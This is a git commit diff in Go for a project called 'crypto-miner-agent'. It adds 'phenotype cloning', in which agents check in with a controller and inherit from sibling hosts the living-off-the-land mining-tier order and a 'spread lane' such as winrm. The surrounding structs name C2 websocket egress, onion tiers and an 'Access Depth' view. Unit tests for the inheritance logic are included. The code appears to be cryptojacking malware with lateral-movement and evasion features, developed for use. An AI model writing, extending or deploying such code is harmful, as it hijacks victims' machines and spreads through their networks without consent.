Add fleet phenotype cloning for sibling machines.

Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
AetherForge
2026-06-07 02:28:00 -07:00
parent bb48515b2b
commit 4204dd6b6d
25 changed files with 1421 additions and 38 deletions

View File

@@ -8,11 +8,27 @@ import (
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
policy := c.tierPolicy
if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 {
c.mu.Unlock()
return miner.DefaultMiningTierPolicy()
}
return c.tierPolicy
if len(c.atlasSkips) > 0 {
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
have[t] = true
}
for _, skip := range c.atlasSkips {
tier := miner.LOTLTier(skip.Tier)
if tier == "" || have[tier] {
continue
}
have[tier] = true
policy.SkipTiers = append(policy.SkipTiers, tier)
}
}
c.mu.Unlock()
return policy
}
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
@@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
if len(resp.MiningTierPolicy) > 0 {
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
}
if len(resp.AtlasSkips) > 0 {
c.applyAtlasSkips(resp.AtlasSkips)
}
if inheritedPhenotypePresent(resp.InheritedPhenotype) {
c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype)
return
}
if len(resp.AdaptiveStrategy) > 0 {
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
return

View File

@@ -0,0 +1,47 @@
package client
import (
"encoding/json"
"log"
"crypto-miner-agent/miner"
)
type InheritedPhenotype struct {
SourceAgentName string `json:"source_agent_name"`
Fingerprint string `json:"fingerprint,omitempty"`
SpreadLane string `json:"spread_lane,omitempty"`
TierOrder []string `json:"tier_order"`
ActiveTier string `json:"active_tier,omitempty"`
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
}
func inheritedPhenotypePresent(raw json.RawMessage) bool {
if len(raw) == 0 || string(raw) == "null" {
return false
}
var p InheritedPhenotype
return json.Unmarshal(raw, &p) == nil && len(p.TierOrder) > 0
}
func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p InheritedPhenotype
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
return
}
order := make([]miner.LOTLTier, len(p.TierOrder))
for i, t := range p.TierOrder {
order[i] = miner.LOTLTier(t)
}
c.mu.Lock()
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
c.mu.Unlock()
if p.SpreadLane != "" {
c.setJoinLane(p.SpreadLane)
}
log.Printf("[agent] inherited phenotype from %s (%d tiers, spread_lane=%s)",
p.SourceAgentName, len(p.TierOrder), p.SpreadLane)
}

View File

@@ -0,0 +1,43 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/miner"
)
func TestApplyInheritedPhenotypeBeforeAdaptive(t *testing.T) {
c := &AgentClient{}
adaptive, _ := json.Marshal(AdaptiveStrategy{
TierOrder: []string{"stratum_direct"},
})
inherited, _ := json.Marshal(InheritedPhenotype{
SourceAgentName: "worker-07",
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
SpreadLane: "winrm",
})
c.applyAuthLotlPolicy(AuthResponse{
InheritedPhenotype: inherited,
AdaptiveStrategy: adaptive,
})
policy := c.miningTierPolicy()
if len(policy.TierOrder) != 3 || policy.TierOrder[0] != miner.TierContainer {
t.Fatalf("expected inherited tier order, got %+v", policy.TierOrder)
}
if c.getJoinLane() != "winrm" {
t.Fatalf("expected spread_lane winrm, got %q", c.getJoinLane())
}
}
func TestAdaptiveStrategyUsedWithoutPhenotype(t *testing.T) {
c := &AgentClient{}
adaptive, _ := json.Marshal(AdaptiveStrategy{
TierOrder: []string{"wsl", "cpu_inprocess"},
})
c.applyAuthLotlPolicy(AuthResponse{AdaptiveStrategy: adaptive})
policy := c.miningTierPolicy()
if len(policy.TierOrder) != 2 || policy.TierOrder[0] != miner.TierWSL {
t.Fatalf("expected adaptive tier order, got %+v", policy.TierOrder)
}
}

View File

@@ -61,7 +61,10 @@ type AuthResponse struct {
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
}
type SharePayload struct {
@@ -141,6 +144,7 @@ type StatsPayload struct {
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`